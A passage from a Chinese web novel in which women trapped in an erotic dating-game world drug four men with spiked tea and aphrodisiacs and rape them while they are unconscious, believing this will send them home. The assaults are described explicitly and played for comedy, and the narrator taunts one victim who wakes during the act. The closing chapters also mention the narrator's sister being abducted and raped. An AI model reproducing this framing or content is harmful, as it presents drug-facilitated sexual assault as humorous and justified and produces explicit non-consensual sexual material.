她之所以能清楚看见自己死前的那些影像,也不过是借了这部人型电脑的历史记录功能。

她目前的情况能叫“重生”吗?

她觉得不能。因为“重生”是建立在人的身体上,而她明显不是。

☆☆

人型电脑拥有刺槐的所有记忆。

刺槐不知道她与人型电脑相撞的时候,是电脑无意间收录了她的记忆,还是她的脑电波因冲击力被撞进电脑里?

如果是电脑收录了“她”的记忆,那麽她这个人已经完完全全的在这个世界上消失了,它,就是偶然间拥有人类记忆的一部人型电脑。

如果是“她”的脑电波因冲击力被撞进电脑里,“她”,就是一缕脑电波。

☆☆

设计出这款人型电脑的天才叫赫渊。

刺槐不得不夸赞这男人的聪明才智,因为他不但是把电脑弄成人类模样,还让所有的人都看不出它们其实非人类。

“赫渊,我身上的‘皮肤’是用什麽做的?”刺槐问赫渊。

赫渊凝着刺槐笑,道:“植物纤维。”

“哦。”刺槐点点头,又问:“那……这身‘皮肤’能用多久?”

赫渊道:“五、六年。”

“哦。”刺槐再次点点头。

拥有了刺槐记忆的人型电脑很机灵,它的机灵超出了赫渊的意料。

因此赫渊对它爱不释手,不管去哪里都会把它带在身边,俨然当它是至爱珍宝。记得有次,赫渊的XXX女友因为吃醋,暗地里欺负身为人型电脑的刺槐,被赫渊看到了,那位XXX女友从此失宠了。唉,XXX女友忒催悲,忒倒霉了。

可见赫渊喜欢人型电脑比喜欢女人多的多,刺槐虽然郁闷,但表示能理解,毕竟是他亲手设计出来的电脑,岂有不宝贝的道理?

第102章 坚韧

一回到沈国府,在房间的隐秘处,我便把在淳王府发生的事情一五一十的跟佳琦说了一遍。

佳琦听後,“砰”的一声摔碎了一个茶杯,眯起眼眸,冷冷道,“这些个女人也太狠毒了。”

我笑笑,道:“是我没有防人之心,着了道也怨不得她人。”我若站在她们的位置上,也会如此做的。

“你打算怎麽做?”

我抬眼瞥一眼佳琦,好笑道:“我被她们下毒了,现在除了乖乖听话外还能怎麽做?”

佳琦蹙眉道:“你还是找大夫来看看。也许是她们吓唬你而已,毕竟那样有‘格调’的毒药不是什麽人都能有的。”

我摇摇头,抬眼说道:“我的确是中毒了。”说到毒药时,那位甜美丫鬟眼中隐隐自信和自豪的光芒告诉我,我真真是中毒了。

顿了顿,我又道:“她们说的不无道理。我们可以一试。”

“木槿,事情这样做极为不妥。你从来不是个容易受她人影响的人,怎麽可以被她们三言两语的就把自己所坚持的观点抛弃掉?”

我摇了摇头,说道:“我并没把自己所坚持的观点抛弃掉,只是突然恍然大悟了而已。以前的我想问题的角度太过狭隘了,看不清主次。单说通关的目的:做为女性向恋爱养成H游戏,游戏里的爱情只是点缀,我们‘最主要’的目的不过是为了看游戏女主与游戏男主滚床单的画面。而我却把‘次要’的谈情说爱放在主要位置上了。”粉末倒置了。

沈默了好久,我声音低落地继续说道:“我真真是不太聪明,虽然我不想承认这一点,但现在却不得不承认了。起码……我从未往那个方向想。但是佳琦姐心思玲珑,不应该会和我一样不知道变通才是。佳琦姐,你能否告诉我,最初的时候,你有没有‘只要和他们发生性关系就能通关’的想法?”

佳琦凝着我看来老半响,才低低叹了一口气,道:“那麽多个‘穿越女’,就四个男人。一是僧多粥少,二是‘曾经沧海难为水’。若一个男人对另一个女人真正动了心,岂是轻易可以移情别恋的?当时我想:有没有可能只要和那四个男人发生了性关系就能回去了。”佳琦顿了顿,又道:“待我正想要通过你去验证的时候,你胸前就出现了两叶很有代表性的花瓣。”

“你看到了我胸前出现的花瓣,就把你原本的那个想法给否定了?”

“嗯。”佳琦点了点头。

听此,我终於松了口气,咧嘴欢乐的笑了起来:“原来是这样啊。难怪你从来没对我提过这种‘可能’……呵呵,看来有时候事情是相互影响的。”还好,还好佳琦姐没有对我藏私。我早把她当是能够信任的朋友。被朋友背叛的滋味应该会很难受吧?

见我笑的灿烂,佳琦也眯眼笑起,她伸手揉了揉我的发顶,柔柔地说道:“所以啊,木槿,你不可以说你自己不聪明。你若不聪明就不能让胸前出现那两叶花瓣,你若不聪明就不能走到今天这一步。我们可都‘输’给你了呢。”顿了顿,她又道:“坚持你自己的观点,不要被她们给影响了。”

我摇了摇头,说道:“不,佳琦姐。也许我胸前的那两叶花瓣只是障眼法呢?”人很容易被表象所迷惑,纵使是聪慧如佳琦也会有判断失误的时候。“就按她们说的,把那几个男人聚在一起‘试一试’吧。”

佳琦狠狠摇头,蹙眉说道:“要是试过後,我们依旧回不去呢?由你约那四人出来,却是为了做……。傅画沂和傅雁竹还好说,因为他们心里有你。但,沈如冶和沈如净却还没爱上你。到时候,他们恼羞成怒,你所有的努力只怕都会化成乌有!”

她咬了咬牙,说道:“你要试,就私下试吧。目前情况,你就差和沈如净……呃。你若成功,就直接回去,她们给你吃的那什麽捞子毒药对你也就起不了作用了。”

我摇头,“不行,如果真成功了,我就那麽回去了,那你怎麽办?你的身份只是一个丫鬟,要靠近他们,还要和他们发生那种关系,只怕会困难重重。”就算是身份高贵的大郡主至今也没有找到把那四个男人聚在一处的办法,何况是身为丫鬟的佳琦?

左右都要把那四个男人聚在一起,何不做个顺水好人,捎带上那些个女人?

“但是……”

佳琦还要说什麽,却被我快速打断了:“佳琦姐,你不要当心。若是没有成功,我自有後招。”

“什麽後招?”

“呵呵,到时候你就知道了。”我傻傻的卖关子。

“你若不说清你所谓的‘後招’,我就不会同意你去冒险。”佳琦执意要知道。

我叹了口气,只好说道:“佳琦姐别忘了我为什麽会这麽‘爽快’地答应她们把四个男人聚在一起?”说句实话:如果她们没有给我下毒,凭借她们的口才,我想我也会答应的。

只是她们对这件事情太过迫切、太过势在必得了,为了以防万一,才对我下了毒。

“你……”佳琦疑惑地看着我。

我呵呵笑起:“我们和他们做‘那事’的时候,把脸蒙起来。看不清脸,他们就不知道那些个女人里面有我们。……至於我把他们约到一处去这样明显的事情,我就用‘我被她们下了毒,身不由己’为借口来推托。”

佳琦这拧眉又道:“如果她们事後阴我们一把呢?虽然我们是来自同一个地方,但,有道是‘人不为己天诛地灭’,为了能够回去,她们……”

“佳琦姐,你放心。我相信自己看人的眼光。”这话不知道是说给佳琦听还是我自己听?

第103章 圆满

虽然不知道为什麽,自从我嫁进沈家後,傅画沂就从来没有来找过我,但是我胸口上的那两叶花瓣却依旧存在,那是否说明他并没有对我忘情?

或许我胸口上的那两叶花瓣只是单纯的障眼法,并不能作为他们是否对我对我动心的证据?

我狠狠摇头,强迫自己不要去想这些事情了。不管如何,既然决定去做了,那麽就要勇敢去做。

按照计划,借着大郡主邀请,我光明正大的出府去。在淳王府里,又先後给傅画沂和傅雁竹写了信,说我要见他们。让他们在这些个“穿越女”事先准备好的院子里等我。

☆☆

大郡主站起身子说道:“好了,我们现在可以出发了。”

我点点头,往屋外走去。

“唉,你要往哪里去?”蓝衣女子拉住了我。

我回过身去,眨眨眼,回道:“大门呀。”我觉得自己这话说的忒幽默了。

“你笨呀,如果你‘光明正大’从大门出去,再到那个院子去,我们的计划还没开始就被发现了。”

“哦?为什麽?”我有点疑惑。

粉衣女子接口道:“你傻了,你不会以为沈如冶真放心放你一个人出来?”

“我这不是一个人出来了吗?”

蓝衣女子冷笑:“好一个天真的小妞。。”

“难道不是?”我挑眉反问。

“当然不是。”蓝衣女子翻了一个白眼,继续说道:“如果他没有在你身边埋下人手,他哪里能放心放你出来?你不要忘了,在你刚嫁去沈国府的那会儿,你哪里能和各家夫人进行交际!”

听到此,我挑眉冷笑:“嗯,不错。我是最近一个月才能出门子与各家夫人交际的。你们对我的情况这般的了解,看来对我是观察已久。”

蓝衣女子得意点头,道:“那是自然,知己知彼,百战不殆。”

啧啧,真是一群不简单的“穿越女”。

“你们真了不起哇~~”我从来不吝啬赞叹比自己高明的人,“那麽,可以为我解惑否?”

蓝衣女子高傲哼笑,粉衣女子冷冷一笑,甜美丫鬟苦苦憋笑,佳琦要笑不笑。

只有大郡主点了点头,说道:“我想沈如冶有了一生把你留在他身边的打算了。不然,他不会这麽大手笔的筹划。”顿了顿,她又道:“身为沈国府的二奶奶,不可能永远龟缩在沈国府里。以前他不当你是他妻子,只想玩玩你,所以才用了最简单的方法,只要把你拘在沈国府中,不让傅雁竹‘抓’到你就成了,但,当他心里开始有你的时候,他就觉得:身为他妻子的你应该出去与各家夫人交际,自然会想法子在确保你不被傅雁竹劫走的同时,让你出来走动。”

甜美丫鬟笑叹道:“啧啧,这是一份心动的开始哦。小丫头。你可真是不简单呐。”

我愣了愣。

是吗?因为以前沈如冶没有把我放在心里,所以把困我在沈过府中。但他心中有我的时候,就想到作为沈国公府的二奶奶,不可能一辈子不出府与各家夫人奶奶交际,所以就下“大血本”,让一群武功高强的黑衣人在暗中保护兼监视我??

沈如冶的心思也忒难猜。纵使是在这些个穿越女的点拨下,我也才晓得那麽冰山一小角。

看来这些个穿越美女,都比我聪明的多,可惜时运不济,被我抢先了一步。

“看你那是什麽眼神?”甜美丫鬟洞察了我的心思,只见她鄙视地刮了我一眼,感叹道:“其实事实不是你想的那样,‘纸上谈兵’和‘实际操作’是完全不一样的。的确,我们很清楚明白的知道什麽样的女人会让那四个男人动心,但,要我们自个儿‘下海’去‘抓鱼’,那麽只会是浪费时间而已。我们可是很有自知之明的哦,所以从来没想过要白白跑去做那无用功。”

大郡主吊了一个白眼,淡淡瞥了甜美丫鬟一眼,道:“别又把话题扯远了,言归正传吧。”

甜美丫鬟对我灿烂一笑,便没再说话了。

大郡主这才转眸对我说道:“为了避开沈如冶派在暗处‘保护’你的那一大批黑衣人。你扮成丫鬟坐陈琳的马车出去吧。我们这边的宴会,会照样办,以做掩人耳目之用。待你把那四个男人都骗去小院的时候,陈琳会教你接下去如何做的。”

哦,那个身穿蓝衣的女子原来叫陈琳。

唉,本是合作夥伴的关系,管她们叫什麽呢。

……

☆☆

傅画沂到来时,我闻到了一股浓郁的汗味儿,我有些愣了,这男人不会是从很远的地方赶来的吧?

“熏到你了?”傅画沂脸色虽然疲惫,神情却很温柔。

我摇摇头,道:“没有。”夏天天热,在阳光下快马奔驰的人难免有汗味儿。

傅画沂定定凝向我,说道:“一接到你的信,我便马不停蹄的赶回京城。”

我点了点头,起身为他斟了一杯茶,捧到他的面前。

傅画沂没有接过茶水,只定定看向我,问道:“你怎麽不问问为何这半年来我没来找你?”

我甜甜笑起,摇了摇头,道:“不问。因为我知道你心中有个我。”这话好生肉麻。但,哄男人就是要嘴巴甜,不是吗?

傅画沂一愣,没有再说话。

“吃杯茶吧。看你满头都是汗。”一副深情款款的样子。

“嗯。”傅画沂接过茶水,优雅地慢慢把茶喝完……

甜美丫鬟的专业真不是盖的,一杯茶水下去,傅画沂的庞大身体直往地上栽去。

“呼。”我轻吁了一口气,放松了紧绷的神经,总算是搞定一个人了,这个人还是比较难搞的傅画沂,呵呵,是个很好的开头。

☆☆

来的第二个人自然是傅雁竹,他还是如以前的一样的任性,但不一样的是,现在的他,眼中有了一抹我看不懂的深沈。

本来以为他一见到我,定会像以往一样,拿脚来踹。可惜却出乎我的意料了,他什麽也没有做,只是用他那双愤怒的黑眸定定凝着我看。

唉,这男人,为什麽每次见他,都让我隐隐心悸?

“吃杯茶吧。”我斟了一杯茶,递给了傅雁竹。

傅雁竹可不是个好脾气的,他一挥手便把茶杯挥到地上去,杯子碎成一片片。

我再次斟了一杯递到他面前,说道:“如果你再次把杯子打碎,我就不理你了。”话音里半是恼怒半是撒娇。囧。我不明白自己为什麽会变成这个样子。太过娇气了。

傅雁竹狠狠瞪我一眼,接过我手中的茶水狠狠灌进喉咙里。

如傅画沂倒地时的动作一样,他砰的一声,整个人栽倒在地。

我心下狠狠一悸:傅雁竹你摔痛了没有?

☆☆

对我来说,傅家两叔侄比沈家两兄弟好对付的太多。我花了九牛二虎之力才将沈如冶骗到目的地,又费了很多力气将沈如净也给骗出来,其中的曲折,想想都觉得惊心动魄、揪人心肝。

☆☆

“人都弄齐了,接下来你们打算怎麽做呀?”我问陈琳。

陈琳从外面叫了四个强壮的男人进来,把傅画沂、傅雁竹、沈如冶、沈如净四人扛在肩头往东院一间不起眼的小房间走去。

只见陈琳上前去,抓了一根拔步床的床柱向右转动了一周。

“哄哄”数声,拔步床中间分开了一条大裂缝。陈琳使了个眼色,四个壮汉相续走进裂缝里。

“走吧。”陈琳要我跟下去。

☆☆

下去後,我才知道,下面原来是一条长长的地道。

这麽长的地道要挖多久呀?又要用多少财力呀?不愧是穿越女哇,纵使是在这男尊女卑的世界里,她们也闯出了自己的天地,不但有自己的人马还有自己的地盘。我不由感叹:“穿越女”真真是个强悍的群体啊。

走了大约一盏茶的功夫,前面出现了一间大石室,四个壮汉把傅画沂、傅雁竹、沈如净、沈如冶逐一的放在地上,对陈琳一礼後,便恭敬地退了出去。

……

☆☆

过了不久,佳琦、大郡主,红枫、甜美丫鬟、粉衣女子鱼贯进了大石室。

……

於是,诡异的画面出现了:七个女人站成一排,目不转睛地盯着躺在地上的四个男人看。

“呃,我们别浪费时间了,开始吧。”甜美丫鬟出声打断了众女的无声尴尬。

粉衣女子扭扭捏捏地说道:“那个……我们要一起‘吃掉’他们,还是排队一个接一个的‘吃’?”

……

全场一片静寂。

见此,粉衣女子吊起眉头,再次问道:“说话啊。是群P,还是一对一?”

哇!真真太强悍了。

“啊!你流鼻血了!”甜美丫鬟惊呼出声。

转头一看,只见陈琳的鼻子里真有一条红色的液体缓缓流出。

……

红枫结巴道:“还、还是一对一吧。”

甜美丫鬟搓手道:“我支持群P,比较省时间呀。”

“嗯,对,群P吧,比较省时间。”陈琳支持甜美丫鬟。

“不用那麽赶吧,我们有的是时间。”

……

一时间,众女为了该群P还是一对一热闹的争吵了起来。

“停,不要吵了!”大郡主的一声怒吼,全场静寂。

红枫说道:“林姐姐,还是你决定吧。”

大郡主道:“先一个人去试,待摸清状况後再说。”

“这个主意好,老婆子赞同了。”甜美丫鬟点了点头。

我、佳琦、红枫连忙点头表赞同。

“那个……谁先上呢?”粉衣女子问道。

噗!这“上”字用的忒粗野了。我差点笑喷了。

“既然是林姐姐提出来的,那就林姐姐第一个上吧。”陈琳说道。

我、佳琦、红枫再次点头表赞同。

大郡主迟疑了下,便点头答应了。

甜美丫鬟眯眼道:“那就开始吧。”

大郡主道:“你把药拿出来吧。”

“都拿去吧。”甜美丫鬟从衣袖里抽出一团布袋子。

大郡主把布袋子打开,看着淩乱的瓶瓶罐罐,惊讶抬眼,问道:“这些都是春药?”

“嗯。都是。”甜美丫鬟得意地点点头,“为了今天,我可是准备了很久。”

大郡主又问:“要给他们吃多少?”

“一人喂一粒就可以了。”甜美丫鬟道。

“一个人只要吃一粒,你准备这麽多做什麽?”陈琳翻了一个白眼。

“有备无患嘛。”

“哼!越来越不正经。”

☆☆

待大郡主给躺在地上的四个男人喂完春药後,我立马提议道:“我们都带上面罩吧,也不知道是不是会一次就成功了,我们应该为自己留下後路不是?”

“嗯。这个主意好。”大郡主头一个表示赞同。佳琦、红枫、陈琳、粉衣女子淡淡点头。

“可是,带了面罩後,我们就不能和他们接吻了。”甜美丫鬟道。

陈琳火了,“你个死老太婆,净想着老牛吃嫩草!我们的目的是为了回家,不是睡男人。”

“怎麽不是睡男人?我们要是不把他们给睡了,能回的了家吗?”甜美丫鬟说道。

“死老太婆,你还敢强词夺理!!”陈琳彻底炸毛了。

甜美丫鬟耸耸肩,道:“好吧。其实我想说:我们不带面罩他们也不会看见我们的。”

“????”数双疑惑的眼睛同时看向她。

甜美丫鬟眨眨眼,神秘道:“因为我们要‘睡’昏迷时候的他们呀。”

“老婆子,你不会想来个传说中的‘迷奸’吧。”粉衣女子双眼亮晶晶地问道。

“呵呵,你这死娃子,真真是聪明,一点就通。不错,就是迷奸!!”

“他们昏迷着,那个软绵绵的,我们怎麽上呀?”陈琳问道。

嗯。此话问的非常有道理。

咳。男人和女人是完全不一样的。

男人若像对一个女人用强,那麽无论是打昏还是直接上都没有太大的影响。

女人对男人用强,那麽情况就大大的不同了。囧了,不用明说,成年人都明白的。

於是乎,春药在这个时候就发挥了巨大的功效。

“刚夸你聪明,你怎麽又笨了呢。他们吃了春药,那里自然硬起来。嘿嘿,就像小说里写的那样,男人、女人无论是昏迷还是清醒,只要中了春药,就会欲火焚身。男人勃起,女人那啥。反正是糜烂至极……”

……

我彻底被惊呆了。。。

……

☆☆

一轮“强抱”,傅画沂、沈如冶、沈如净相续射精了。现在只剩下傅雁竹了……

“啊……”大郡主甜美的呻吟过後,她的身子软绵绵的倒在傅雁竹身上。

“呀!林姐姐你怎麽了?”陈琳和粉衣女子连忙跑过去,把栽倒在傅雁竹身上的大郡主从他的肉棒上拖下来,留下一道长长的白色精液。

甜美丫鬟也快速奔过去,她在大郡主身前缓缓蹲下,为大郡主把脉,倏地,她像受了极度惊吓似的,脸色一白,双手一抖,大郡主的手从她的手中滑落。

“怎麽了?”陈琳和粉衣女子见甜美丫鬟如此惊慌,不由同时出口问话。

甜美丫鬟的嘴唇轻蠕,无法说话。她颤抖地伸手,往大郡主的颈动脉上一按,顿时跌坐在地,脸无血色,嚅嚅惊呼:“这、这究竟是怎麽回事?!怎麽回事?怎麽回事啊……”

“林姐姐到底怎麽了?你倒是说呀!”“是啊,你说话呀。”

佳琦和我对望一眼,然後她蹲在身子,也伸手探向大郡主的颈动脉。只见佳琦的手一抖。

“佳琦姐……”我惊呼。难道大郡主……

佳琦拧眉道:“大郡主的动脉停止跳动了。”也就是说大郡主死了。

“怎麽可能?”粉衣女子怒目惊呼,“林姐姐刚才还是好好的。”说着,她也把手指颤颤巍巍地往大郡主的颈动脉按去。

“怎麽可能?!林姐姐的身体一直很好啊!不过是连续做了一个时辰,怎麽就──”

“身体很好,却突然……”佳琦认真思考了半响,道,“有没有可能她已经穿回去了呢?”

听此,所有人眼睛一亮,简直是一语惊醒梦中人呐。

“是呀,林姐姐身体那麽好,而且事情发生的又那样突然……”

……

“也就是说,也就是说……”

“也就是说,我们可以回家了!!”

“啊啊!太好了~~”

☆☆

接下来,众女抢着骑上了男人。

见傅雁竹的身板被粉衣女子坐的颤了数颤,我不由蹙起眉来,这四个男人要同时伺候这麽多个女人,他们吃不吃的消啊?

骑在沈如净身上的甜美丫鬟转头问我,“这些个男人的性能力怎麽样?”

我很尴尬。不知道怎麽回答她。

对於性能力而言,沈如冶的实力无疑是最强悍的,傅画沂,嗯,算个猛人吧。傅雁竹身子弱,虽然有时候做的很激情,但无法和他们两个的持久能力相比。至於沈如净,呃,我没试过,不知道他的性能力到底是强还是不强。不过,他和沈如冶是双生兄弟,实力应该不会差到哪里去吧?

我咬唇道:“他们连续射七次,应该不会精尽人亡的。”我们一共有七人,所以,他们只要射七次就够了。

甜美丫鬟点点头,说道:“哦。你的意思我们明白了。放心,我们绝对不会贪欢的。”

我满脸黑线,她说的是什麽话?好像我在吃醋似的。。。

☆☆

她们在那四个男人身上拼命的奔驰的场面很糜烂,很疯狂。

这样的肉搏,不是所有女人都有勇气去面对的,能做到如此的程度,这些个穿越女不得不让我佩服。

能适应生存环境的,才是强者。

无论是荣还是辱,只有能屈能伸,能适应得了大环境,才能生存的好。

☆☆

四个女人把四个男人轮流“强抱”了一遍,然後悄无声息地死在四个男人的身上。

“佳琦姐,我很害怕。”我一边搬那些个女人的身体,一边对佳琦说道。

佳琦笑道:“我们能回去了,还有什麽可害怕的。”

我抿了抿唇,说道:“我们是最後的,待我们灵魂走後,没有人把我们的身体从男人的身体上拉下来,也没有人给我们穿好衣服……”

“木槿。你先吧。我帮你穿好衣服。”

我感动地泪眼汪汪,“噗嗤,我说笑的,佳琦姐别当真呀。我要和佳琦姐一同回去。”

“呵呵,你用的时间会比我少的多。怎麽可能和我一同回去呢?”

“为什麽?”一时我转不过弯来。

“因为你只差沈如净一个就通关了呀。”

我点了点头,道:“哦,这样呀。那你快开始吧,我等你。”

佳琦道:“你不用等我。先吧。”

我摇摇头,道,“我不会留下你一个人的。”被留到最後的人会很孤单的。

“木槿,你……”

我打断了佳琦的话:“好了,你别浪费时间了,快些通关,我们快些回家。”

……

☆☆

待佳琦骑在傅画沂身上的时候,已经是最後一个了。

於是,我也爬坐在沈如净的身体上。

我才动几下,沈如净的眼睛倏然睁开了。

“呀!”我吓了一大跳。

甜美丫鬟的药不是很厉害吗?为什麽沈如净会在这个时候醒来?

他的脸色瞬间铁青( 一个天之骄子,却被人这样的对待,脸色不铁青才怪。),他挣紮的想要起身,可试了好几次都没能成功。

我俯低身子,搂紧了他的腰肢,说道:“想要早点结束,就快点射精吧。”这话说的很不要脸是不是?但是我真的为他好,没有别的意思。

“你这个不要脸的贱人!”

“无所谓,你骂我什麽都无所谓,因为你正在我的身体里。我什麽都满足了。沈如净,我喜欢你。好喜欢好喜欢~~~”看这个男人不顺眼很久了,反正快要回去了,我心情好,恶心他一下也没什麽。就当他骂我的报酬好了。

於是我一边在他身上不停的扭腰,一边不停的对他诉说着我的绵绵爱意。能有多肉麻就多肉麻。

“贱人,贱人,无耻的贱人!”沈如净脸色大变特变。

难得见优雅的沈如净如此失态呢。於是我在他身上扭动的更欢了。

“呵。”沈如净舒服的不停起伏着胸膛。

“起来,贱人!你这样做对得起如冶吗?”

“我对不起沈如冶?呵呵,这世上最没资格说我对不起沈如冶的就是你了。因为你比我更加对不起他。”我一边急促呼吸,一边软软说道:“你表面是很疼爱他这个弟弟,实则你很讨厌他。讨厌那个和你一一模一样的双生弟弟。毕竟呀,这世上没有人会喜欢一个和自己同样出色的人。你心机歹毒,常常设计沈如冶,以.为他好的借口,让他去做他不喜欢做的事情。让他痛苦,让他难受。……这一切只因为你自己不痛快了,所以你就不希望他痛快了。你是个伪君子,彻头彻尾的伪君子,心机深沈的伪君子……”这些话虽然说的恶毒,但是我的用心是好的。和沈如冶生活好歹也半年了,因为想要通关,所以我急切地想要他的心,想要一个人的心,最先要了解的是他究竟是怎麽样的一个人,世上无难事,只怕有心人,在我兢兢业业的努力下,对沈如冶的心结我岂有不明白的?沈如冶虽然有万般不好,但终究也不过是个生活在优秀双生哥哥阴影下的可怜人。反正我就要离开这里了,偏有这样巧合的机缘,不过举手之劳,做件好事也无妨。但愿沈如净能把我的话听进去,希望他能告诉沈国公,沈如冶对父爱的渴望。

“住口!住口!住口!你这个贱人。死贱人!”

“呵呵,恼羞成怒了?”啧啧,真不经刺激。“沈如冶心里很苦,你是知道的,他为什麽所苦,你也是知道的。如果你真的是个好兄长,为何明知他的心结,还那样的不管不顾?哦,不对!你不但是不管不顾,有时候还特意地去刺激他。比如明知道他渴望得到沈国公的认可,你却总要抢他的风头。明知道沈国公误会了他,你却只会假兮兮的拧眉旁观,却不为他解释。你就是个伪君子,连自家弟弟也容忍不了的伪君子!!”此话说完,我扭动的更加用力的,他的精液终是被扭出来了……

“啊──”突然我的心脏一紧,我眼前一黑,然後什麽都不知道了……

☆☆

待我再次有知觉的时候,极目一片黑暗,我却能够诡异地看见自己的身体。

就在此时,一道声音低低传来:“你这个小丫头蛮有意思的。在离成功那麽近的时候,居然能如此轻易的去‘冒险’。唉,你为什麽就不能自私一点呢?如果你自私一点,只会为自己,那麽我的游戏将会有趣很多。”

“我现在可以回家了吗?”他的废话我不想听,我只想要立刻回家。

那声音道:“你已经通关了,自然是可以回家。”

我点点头,说道:“那就请您快快放我回去吧。”

那声音低低笑起:“小丫头,别着急,我话还没说完呢。”

我强忍着心急,说道:“请快一点说吧。”

“你是这次真人游戏的第一名。作为第一名的奖励,我可以答应你做一件事情。喏,这个令牌你拿着,有需要的时候你只要把自己的血滴在令牌上我就会出现。”他的话音刚落,一块散发着柔和光芒的令牌出现在我的眼前。

奖励吗?那就不拿白不拿。我伸出把停留在半空中的令牌取了下来。

第104章 上穷碧落下黄泉

我缓缓睁开眼睛,热泪盈眶,终是回来了。

突然,病房门口传来水果落地的声音。

我转眼看去,只见爸妈正立在病房门口,眼睛直直地盯着我看。

见老爸老妈两鬓斑白,竟比以前苍老了许多,我不由喉头酸涩,数度蠕唇方让低弱又沙哑的声音从唇中发出:“爸,妈。”

“木木,我的木木,你醒了。”老妈紧紧抱住了我,老爸低头抹眼泪。

见老爸,老妈都来,刺槐却没来,我不由问道:“爸,妈,姐呢?”

两人见我提起刺槐,不由都不自主地歪开头去。

“爸,妈?”我有种很不好的预感。

老妈泣不成声:“一年前,刺槐出了车祸,已经……”

什、什麽?!

我的脑袋倏然空白,什麽都没法思考。

回到原来世界的狂喜之情瞬间淹没在茫茫悲伤里……

☆☆

一个女儿出了车祸,一个无缘无故变成植物人。难怪爸妈只一年头发的都白了。

老妈说刺槐突然冲出马路,司机来不及刹车,刺槐的身子被车撞飞出去,脑袋撞到了硬物,当场死亡。极度悲伤之时并未多想其他,悲伤过後,却隐隐觉得刺槐的车祸出的蹊跷。

没有人比我更知道刺槐,刺槐向来惜命,从小到大,连过马路都未敢闯红灯。

这样惜命的人在正常情况下怎麽可能会“突然”冲出马路呢?那天刺槐到底发生了什麽事情?

为了弄清原因,我寻到了相关部门,通过关系,调出了刺槐车祸当天的马路录像带。

可,我只看到刺槐突然冲出马路被轿车撞飞的录像,并未看到刺槐因何会突然冲出马路。

虽然没找到刺槐突然冲马路的线索,我却发现了另一个大疑点:刺槐被车撞飞出去的时候并没有向我先前认为的那样头部着地,她的头部是撞到了一个女人身上。

我蹙起眉头:一个女人的身体能有多硬?

於是我很肯定:刺槐根本就不可能是因为脑袋撞到了硬物,当场死亡的!

可在刺槐的死亡原因里,的确是写着:“脑袋撞到了硬物,当场死亡。”

☆☆

刺槐的死有太多的谜团了,我不知道刺槐为什麽会突然冲出马路,我不知道刺槐的脑袋明明没有第一时间着地,刺槐的死亡原因里,却是写着脑袋撞到了硬物,当场死亡。

总之刺槐的死很奇怪。

虽然这世上每天都会发生车祸,但是我就是荒谬的认为刺槐的死亡不是单纯的意外。

……

刺槐,刺槐……

……

在我没有一点头绪的时候,我突然想起来诡异黑暗里,那声音对我说的话:“你是这次真人游戏的第一名。作为第一名的奖励,我可以答应你做一件事情。喏,这个令牌你拿着,有需要的时候你只要把自己的血滴在令牌上我就会出现。”

令牌?对,黑暗里头的“那个声音”也许能够知道刺槐当时出了什麽事情。

我心下颤动,可下一刻我的心却又冷了下来。

那个“黑暗里的声音”虽然给了我一块令牌。但那是给予我的灵魂,现实中根本就看不到那个令牌。

正如此想着,一块发光的令牌突然从我的胸口飞了出来,缓缓地落在了我的右手里。

“令牌!”我惊喜。想起那个声音说召唤他的法子是把血滴在令牌上,於是我用小刀割破了手指,让一滴血落在令牌上。

突然令牌白光大盛,强烈的光芒让我本能的闭上了眼睛。

几秒锺後,白色光芒渐渐退去。我缓缓睁开了眼睛。

“丫头,没想到你这麽快就来找我了。”

“呃。”该叫他什麽呢?

我不知道该怎麽称呼他,既然找不到称呼就不唤称呼了。我坐直了身子,对着空气说道:“你说作为第一名的奖励,可答应我做一件事情。这话可做数?”

“当然!你这丫头着实多疑的可恶,如果不做数我出来做什麽。”

“那好,我想知道我姐出车祸那天到底发生了什麽事情。”

那声音很愤怒:“丫头,你把这麽一个大好的奖励用在问这个问题,你的脑袋被驴给踢了吗?”

我定定地凝着空气,道,“我的要求您做的事情已经提出,还请您给予答案。”

“你、你、你!我从来没见过像你这麽蠢的丫头。”那声音气急败坏。

“请您给予答案。”我再次说道。

那声音沈默了许久,才再次说道;“我找找时空录像。”

时空录像?那是什麽东西?

“嗯,找到了。啧啧,你姐姐也真可怜呀。”

听此,我拧眉,心里虽然焦急,但也没浮躁的连忙讨问。

“呵呵,你这丫头倒是沈得住气。虽然你很笨,但难得入了我的眼。嘿嘿,我就多给你看一些吧。”

话音一落,我房里白色墙壁突然出现了宛如幻灯片一样的影像……

就像是放电影一样,从刺槐逛街到被人抓去,到被三个禽兽男人淩辱,再到刺槐终於逃出洋楼,却因後面有人在追,慌乱下没看路被轿车撞飞……

看完这些,我心下狠狠抽搐。

那声音道:“看到你家姐姐撞到那物时,脑袋里闪出的那团蓝光没?”

刺槐撞到的明明是“人”,他为何用“物”字来代替?

虽然疑惑,但我还是点了点头。

那声音卖关子道:“那是什麽,你想知道吗?”

我蹙眉,“是什麽?”

“是你姐姐的灵魂,也可以叫做灵魂电波。”

我愣愣重复:“灵魂?”

“嗯。你家姐姐的灵魂电波被车那麽一撞,飞进了那物里面去了。”

“飞进那物里面去?”想着,我的眼睛猛的瞪大,“那麽说,我姐姐到现在还没死?”

“呵呵,你这小丫头倒是聪明。”

我有些不好意思,我爱好YY,什麽穿越小说,什麽重生小说,看得太多太多。不用细想,就那麽自然而然的脱口而出。

“那真的太好了。”我不管别人,只要刺槐还活着就好,无论她以何种形式。

“咦?等等,丫头,你是不是误会了什麽?”

“您不是说我姐姐的灵魂电波撞进那女人的身体里,您不是说我姐姐到现在还没死吗?”这意思不就是说刺槐重生了?

“呃,对,。是这样,但是……”

“但是什麽?难道是原本的身体灵魂还在?她和我姐的灵魂掐架?”

“噗嗤,哈哈,你这丫头,实在太对我的胃口了,想象力不是一般的丰富。嗯。你想象的这些都很好,不过……”他顿住了。

我拧眉:“不过什麽?”

“不过都是错误的。”

“错误的?那实际情况是怎麽样的?”

“实际情况是你家姐姐‘重生’在一部电脑里。”

“电、电脑?您的意思该不会是说那个被我姐姐撞倒的人是电脑吧?”

“哈哈。丫头够聪明,我越来越喜欢你了。”

我拧眉深深,“请您解惑。”

“没错,你姐姐很不幸地‘重生’在了电脑里。”

“您为何要用‘不幸’来形容我姐姐的重生?”生命只一次,能够重生便是福气,虽然只是电脑,但毕竟也是重生,为何用上不幸二字?

“唉,你这丫头,我刚夸你聪明,你怎麽又愚笨了起来呢。”

“请解惑。”

“唉,你家姐姐若是没撞到那电脑,机缘到的时候,灵魂电波被孕妇吸收,变成婴孩,重新做人了。可撞进电脑里面去,虽不算是‘死’,但也不算是‘活’……”

听此,我心头一揪,“你这话是什麽意思?”

